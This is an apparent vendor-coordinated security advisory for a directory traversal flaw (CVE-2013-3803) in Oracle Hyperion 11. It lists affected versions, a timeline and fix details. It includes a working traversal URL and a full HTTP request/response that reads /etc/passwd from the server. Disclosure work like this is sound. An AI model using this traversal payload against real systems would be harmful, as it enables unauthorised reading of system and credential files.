Oracle Hyperion 11 Directory Traversal

`=======  
Summary  
=======  
Name: Oracle Hyperion 11 - Directory Traversal  
Release Date: 30 July 2013  
Reference: NGS00434  
Discoverer: Richard Warren <[email protected]>  
Vendor: Oracle  
Vendor Reference: S0318807  
Systems Affected: Oracle Hyperion 11.1.1.3, 11.1.1.4.107 and earlier, 11.1.2.1.129 and earlier, and 11.1.2.2.305 and earlier  
Risk: High  
Status: Published  
  
========  
TimeLine  
========  
Discovered: 20 November 2012  
Released: 20 November 2012  
Approved: 20 November 2012  
Reported: 20 November 2012  
Fixed: 16 July 2013  
Published: 30 July 2013  
  
===========  
Description  
===========  
Product: Oracle  
Application: Hyperion  
Version: 11.x  
  
Vulnerability  
-------------  
  
The application was found to be vulnerable to a directory traversal attack.  
The following URL resulted in directory transversal.  
http://localhost:19000/raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../LFI_HERE  
  
=================  
Technical Details  
=================  
Exploitation  
------------  
  
The following request/response was observed:  
  
GET  
/raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../etc/passwd  
HTTP/1.0  
  
HTTP/1.1 200 OK  
Date: Mon, 12 Nov 2012 15:28:10 GMT  
Server: Oracle-Application-Server-11g  
Cache-Control: no-cache  
Pragma: no-cache  
Expires: Mon, 1 Jan 1990 00:00:00 GMT  
Last-Modified: Mon, 12 Nov 2012 15:28:10 GMT  
X-ORACLE-DMS-ECID: 004n^rmuJTjAtH^5lV5EiZ0004FS0058zX  
X-Powered-By: Servlet/2.5 JSP/2.1  
Connection: close  
Content-Type: text/plain  
Content-Language: en  
  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
--SNIP--  
  
===============  
Fix Information  
===============  
Fixed in Oracle CPU July 2013:  
http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html  
Assigned CVE-2013-3803  
  
  
NCC Group Research  
http://www.nccgroup.com/research  
  
  
For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br>  
This email message has been delivered safely and archived online by Mimecast.  
</a>  
`